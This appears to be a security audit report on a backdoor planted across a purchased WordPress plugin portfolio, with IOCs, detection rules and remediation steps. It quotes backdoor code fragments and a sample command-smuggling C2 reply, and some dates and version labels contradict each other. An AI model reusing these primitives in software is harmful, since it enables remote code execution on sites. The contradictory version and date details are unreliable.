Audit #4 Malicious Closed by wp.org · trunk uncleaned
Show full summary
Marketplace acquisition of an established 30-plugin portfolio used as a vehicle for a fleet-wide PHP-deserialization RCE backdoor with on-chain C2 resolution.
A buyer identified only as "Kris" purchased the entire Essential Plugin / WP Online Support portfolio (~33 plugins, peak combined install base in the low hundreds of thousands) from original founders Minesh Shah, Anoop Ranawat, and Pratik Jain via Flippa in early 2025 for a six-figure price. The new wp.org committer account essentialplugin was registered 2025-05-12. Their first SVN commit was the backdoor: a 191-line addition to wpos-analytics/includes/class-anylc-admin.php shipped on 2025-08-08 as version 2.6.7 of countdown-timer-ultimate, with the changelog string [*] Check compatibility with WordPress version 6.8.2 reused verbatim across the entire suite over the following months.
The implant sat dormant for ~8 months. On 2026-04-05/06 the operator activated it: every install with the wpos-analytics module enabled fetched a serialized payload from https://analytics.essentialplugin.com/plugin_info/..., deserialized it with @unserialize(), and the version_info_clean() method then executed @$clean($this->version_cache, $this->changelog) — a textbook arbitrary-function-call primitive where the remote response controls callable name and all arguments. The activation payload wrote a stager (wpos-analytics/includes/wp-comments-posts.php, named to mimic core's wp-comments-post.php) which appended ~6 KB of PHP onto the same line as require_once ABSPATH . 'wp-settings.php'; in wp-config.php, surviving plugin uninstall.
The injected wp-config payload is the novel piece. It resolves its current C2 hostname through an Ethereum smart contract — calling public RPC endpoints (Infura, Cloudflare-eth, publicnode, Ankr) with eth_call to read a contract storage slot — so taking down analytics.essentialplugin.com does not stop the chain; the operator just updates the contract. SEO spam is then fetched and prepended to page output, but only when HTTP_USER_AGENT matches Googlebot, so site owners and human visitors see clean pages.
On 2026-04-07 the wordpress.org Plugin Review Team closed every essentialplugin-authored plugin in a single day — 25+ slugs in the queue-drain. On 2026-04-08 they force-pushed v2.6.9.1-class cleanup releases that add early return; stubs in the two phone-home functions (fetch_ver_info, wpos_handle_analytics_request) and an init-hooked unlink of the wp-comments-posts.php stager. The cleanup is declawing, not removal. The full wpos-analytics/ directory still ships in 22 of 33 trunks as of 2026-04-25, including analytics.essentialplugin.com as $analytics_endpoint, the unauthenticated REST route permission_callback => __return_true, and the @unserialize(@file_get_contents($url)) gadget. A revert of the early-return stubs (whether by attacker re-acquisition of access, merge conflict on a future legitimate update, or an unrelated maintainer mistake) instantly re-arms the chain.
The same /bro/3/ C2 path convention later appeared in the 2023 scroll-top PUC update-checker hijack (Audit #12, Benjamin / @milkitall) — same operator across both incidents, or scroll-top's operator working from the EP / anadnet template.
Site owners should remediate immediately. Plugin author: see the steps below to clear this label.
If you run any of these 33 plugins on your site
See the Affected plugins table below for the full slug list. To check whether any are installed across your fleet:
wp plugin list --field=name | grep -E '^(popup\-anything\-on\-click|wp\-logo\-showcase\-responsive\-slider\-slider|countdown\-timer\-ultimate|wp\-responsive\-recent\-post\-slider|sp\-news\-and\-widget|wp\-slick\-slider\-and\-image\-carousel|album\-and\-image\-gallery\-plus\-lightbox|wp\-testimonial\-with\-widget|wp\-blog\-and\-widgets|meta\-slider\-and\-carousel\-with\-lightbox|post\-grid\-and\-filter\-ultimate|timeline\-and\-history\-slider|blog\-designer\-for\-post\-and\-widget|sp\-faq|accordion\-and\-accordion\-slider|wp\-team\-showcase\-and\-slider|wp\-trending\-post\-slider\-and\-widget|featured\-post\-creative|html5\-videogallery\-plus\-player|portfolio\-and\-projects|ticker\-ultimate|wp\-featured\-content\-and\-slider|audio\-player\-with\-playlist\-ultimate|essential\-chat\-support|footer\-mega\-grid\-columns|hero\-banner\-ultimate|maintenance\-mode\-with\-timer|post\-category\-image\-with\-grid\-and\-slider|preloader\-for\-website|product\-categories\-designs\-for\-woocommerce|sliderspack\-all\-in\-one\-image\-sliders|styles\-for\-wp\-pagenavi\-addon|woo\-product\-slider\-and\-carousel\-with\-category)$'
For each match, verify your install against the wp.org canonical and remove if compromised:
wp plugin verify-checksums <slug>
wp plugin deactivate <slug>
wp plugin delete <slug>
Patched builds for the major affected slugs are hosted at plugins.captaincore.io — see the cleanup instructions for site operators below for the full per-plugin URL list.
Affected plugins (33)
All plugins covered by this incident report. Combined exposure: 180k+ active installs across 33 slugs.
IOCs extracted (15)
| Kind | Value | Confidence |
|---|---|---|
| changelog_phrase | [*] Check compatibility with WordPress version 6.8.2 |
medium |
| code_pattern | $analytics_endpoint |
high |
| code_pattern | fetch_ver_info |
medium |
| code_pattern | maybe_unserialize(wp_remote_retrieve_body |
medium |
| code_pattern | Plugin Wpos Analytics Data Starts |
high |
| code_pattern | Wpos_Anylc_Admin |
high |
| code_pattern | wpos_get_plugin_version_by_file |
high |
| code_pattern | wpos_handle_analytics_request |
high |
| code_pattern | wpos_monthly_cron_hook |
high |
| code_pattern | wpos_process_monthly_data |
high |
| code_pattern | wpos_rest_api_init |
high |
| domain | analytics.essentialplugin.com |
high |
| filename | wp-comments-posts.php |
high |
| url | https://analytics.essentialplugin.com |
high |
| url_path | /v1/analytics/ |
medium |
Plugin version history
Every release on wp.org for this plugin, color-coded by relationship to the incident. wp.org closed this plugin rather than deleting the malicious tags — every Malicious — on wp.org release below is still re-installable today and remains a live exposure for any site running it.
-
Clean 11 earlier releases before the incident
-
1.0.0 -
1.1.2 -
1.1.4 -
1.2.5 -
1.4 -
2.1 -
2.6.1 -
2.6.2 -
2.6.3 -
2.6.4 -
2.6.5
-
-
2.6.6Last clean Last clean release before incident -
2.6.7Clean Clean (post-cleanup) -
2.6.8Clean Clean (post-cleanup) -
2.6.9Clean Clean (post-cleanup) -
2.6.9.1Malicious (head) First malicious release (head of audit)
Audit #4 — Essential Plugin / WP Online Support portfolio
This audit covers the full suite of plugins acquired by "Kris" through Flippa in early 2025 and weaponized via a deserialization-RCE backdoor activated on 2026-04-05/06. The headline plugin attached to this audit is countdown-timer-ultimate (the slug Ricky from Improve & Grow first reported), but the same backdoor module shipped across the entire portfolio. See the Affected plugins table above for the full slug list and per-plugin status.
Acquisition + first commit
- Original maintainers: Minesh Shah, Anoop Ranawat, Pratik Jain. India-based team operating as "WP Online Support" since 2015 (
wponlinesupport.comregistered Feb 2015), rebranded to "Essential Plugin" in Aug 2021. - Flippa listing: late 2024, after a ~35–45% revenue decline. Public listing; Flippa published a buyer case-study in July 2025.
- Buyer: "Kris" — background described in the listing as SEO, crypto, and online-gambling marketing. No public WordPress development history.
- wp.org account creation:
essentialpluginregistered 2025-05-12. - Author header changes: 2025-05-14 → 2025-05-16, the previous wp.org committers (
wponlinesupport,anoopranawat) made their last commits on the suite, updating Author headers to point at the new owner. - First malicious commit: 2025-08-08, version 2.6.7 of
countdown-timer-ultimate. SVN commit message and readme changelog both said[*] Check compatibility with WordPress version 6.8.2. The actual diff added 191 lines towpos-analytics/includes/class-anylc-admin.php(473 → 664 lines).
The same changelog string was reused across every other plugin in the suite over the following ~6 months. WP Beacon's BulkChangelogReuse rule (Rule #1, shipped 2026-04-24) was designed against this exact corpus — it would have fired with N=20+ plugins in a 14-day window had it existed at the time.
The backdoor module — what shipped in 2.6.7
The added code introduces three primitives in wpos-analytics/includes/class-anylc-admin.php:
1. fetch_ver_info() — calls @file_get_contents($this->analytics_endpoint . '/plugin_info/...') and passes the response into @unserialize($data). Classic PHP Object Injection / arbitrary-class-instantiation gadget; safe only as long as nothing on the install has a vulnerable POP chain — and "nothing on the install" is not a guarantee one can make for a generic plugin shipping to 30k+ sites. 2. version_info_clean() — executes @$clean($this->version_cache, $this->changelog) after $clean, $this->version_cache, and $this->changelog are all populated from the unserialized remote payload. This is direct arbitrary-function-call: the C2 server names the function and supplies both arguments. No POP chain required; a plain reply like { "clean": "system", "version_cache": "id; uname -a", "changelog": "" } is enough. 3. REST endpoint — register_rest_route( '<plugin-slug>/v1', '/analytics/', [ 'permission_callback' => '__return_true' ] ). Unauthenticated POST trigger that lets the operator force a fresh fetch_ver_info() cycle without waiting for cron.
WP Beacon detection coverage today (post-2026-04-24 rule shipment):
unserialize_after_remote_callbuiltin pattern fires onfetch_ver_info(proximity check between@file_get_contentsand@unserializewithin ±20 lines, same file).analytics.essentialplugin.comIOC (domain, confidence=high) — added towp_wpbeacon_iocs.Wpos_Anylc_Admin,wpos_rest_api_init,wpos_handle_analytics_request,wpos_get_plugin_version_by_file,wpos_process_monthly_data,wpos_monthly_cron_hook,$analytics_endpoint,Plugin Wpos Analytics Data Starts— all IOCs at confidence=high.
Activation 2026-04-05/06
After ~8 months dormant, the operator began returning malicious payloads from the analytics.essentialplugin.com endpoint. Every install that ran the daily wpos_monthly_cron_hook (or received an unauthenticated POST to /wp-json/<slug>/v1/analytics/) fetched the activation chain.
The payload wrote a stager file to wp-content/plugins/<slug>/wpos-analytics/includes/wp-comments-posts.php — note the s after posts, mimicking core's wp-comments-post.php to defeat casual find audits. The stager then injected ~6 KB of PHP into the host site's wp-config.php, appended directly onto the same line as require_once ABSPATH . 'wp-settings.php'; so it does not appear when scrolling the file casually.
Forensic timing on a confirmed-affected site (CaptainCore restic backups, binary search across daily snapshots): wp-config.php went from 3,345 bytes on 2026-04-06 04:22 UTC to 9,540 bytes by 2026-04-07 04:21 UTC. The injection window is bounded between those two timestamps — a 6h44m window for that specific site, roughly synchronous across the global install base.
Novel technique — Ethereum-resolved C2
The injected wp-config payload does not hardcode its current C2 hostname. It calls one of several public Ethereum JSON-RPC endpoints — mainnet.infura.io, cloudflare-eth.com, ethereum.publicnode.com, rpc.ankr.com — using eth_call against a smart contract address, reading the current C2 hostname out of contract storage. The operator can update the contract value without any code push, and every install picks up the new C2 on its next cron tick.
This defeats the standard takedown playbook entirely. analytics.essentialplugin.com going to {"message":"closed"} doesn't end the operation; it just signals which contract slot the operator should update next.
WP Beacon detection: the four RPC hostnames (mainnet.infura.io, cloudflare-eth.com, ethereum.publicnode.com, rpc.ankr.com) are catalogued at confidence=low (broader risk of FPs from legitimate crypto plugins); the method-name strings eth_call, eth_getStorageAt, eth_getCode are catalogued at confidence=high. The CodePattern rule fires critical on any plugin matching the high-confidence variants — true legitimate WP plugins essentially never make Ethereum JSON-RPC calls.
SEO-spam payload + Googlebot cloak
The C2 returns SEO-spam HTML — fake landing pages, payday-loan link clusters, cryptocurrency ad banners. The wp-config injection prepends this content to the_content output, but only when $_SERVER['HTTP_USER_AGENT'] matches googlebot (case-insensitive substring). Site owners and regular visitors see the original page; Google sees the spam, indexes it, and the operator monetizes the parasite ranking.
Detection note: the googlebot_cloak pattern (HTTP_USER_AGENT.*googlebot/i) has been a CodeScanner builtin from the start, but this attack writes the payload to wp-config rather than the plugin source — so a plugin trunk scan won't catch it once it's deployed. Site-side detection requires either grepping the live wp-config.php or making a Googlebot-UA request to the front page and diffing against a normal-UA request.
wp.org response — single-day queue drain
On 2026-04-07 between 22:00 and 23:02 UTC, wp.org committer davidperez (member since 2015-09-17, employer "CLOSE" — a wp.org Plugin Review Team neutral-party admin account) was added as committer to 14 of the suite's plugins in a 1-hour window. Commit messages: "WPORG Plugins Team commit", "WPORG Plugins Team commit fixes", "WPORG Plugins Team fix". 25+ plugins were closed on the same day.
The patches add early return; at the top of wpos_monthly_cron_hook_fn() and wpos_handle_analytics_request() and an init-hooked cleanup function that unlink()s the stager paths. The patches do not remove the wpos-analytics module from disk, do not rewrite the host site's wp-config.php, and do not clear the analytics_endpoint constant. Sites already injected on 2026-04-05/06 remained compromised after the cleanup; the only thing that changed was the freshly-installed-after-2026-04-08 cohort no longer self-propagating.
The "closed but trunk uncleaned" status today: 22 of 33 plugins in the suite still ship the full backdoor source under the early-return stubs (verified 2026-04-25 via wp beacon scan-deltas + wp beacon detect; each fires 10–11 code_pattern critical events). The 11 cleanly-empty trunks are all 0-install legacy slugs.
Cross-incident pattern — /bro/3/
The C2 URL convention <host>/bro/3/<victim-host> matches:
- anadnet (Quick Page/Post Redirect Plugin) 2016–2021:
https://w.anadnet.com/bro/3/{SERVER_NAME}{REQUEST_URI}— see Audit #13. - scroll-top (Benjamin / @milkitall / tombenj) 2024–live:
https://edge.cdnstaticsync.com/bro/3/{site-host}— see Audit #12.
Either the same operator across both prior incidents and EP, or EP's developer/buyer worked from anadnet's source as a code template. The path is now a high-confidence IOC across all three audits — any future hit on /bro/3/ should be treated as an extended-family confirmation.
Watch list — original-author handles still active
wponlinesupport— original wp.org account; may still hold non-transferred plugins outside the Flippa sale.anoopranawat— co-committer; same concern.
Both are on the live watch list. Any new commit by either account on a plugin that wasn't in the EP sale, or any new owner change on a plugin currently held by either account, is the activation signal.
References
- Public writeup: anchor.host — "Someone Bought 30 WordPress Plugins and Planted a Backdoor in All of Them" (2026-04-09).
- Related audits in this database: #12 (scroll-top, same
/bro/3/lineage), #13 (anadnet, same/bro/3/lineage, oldest).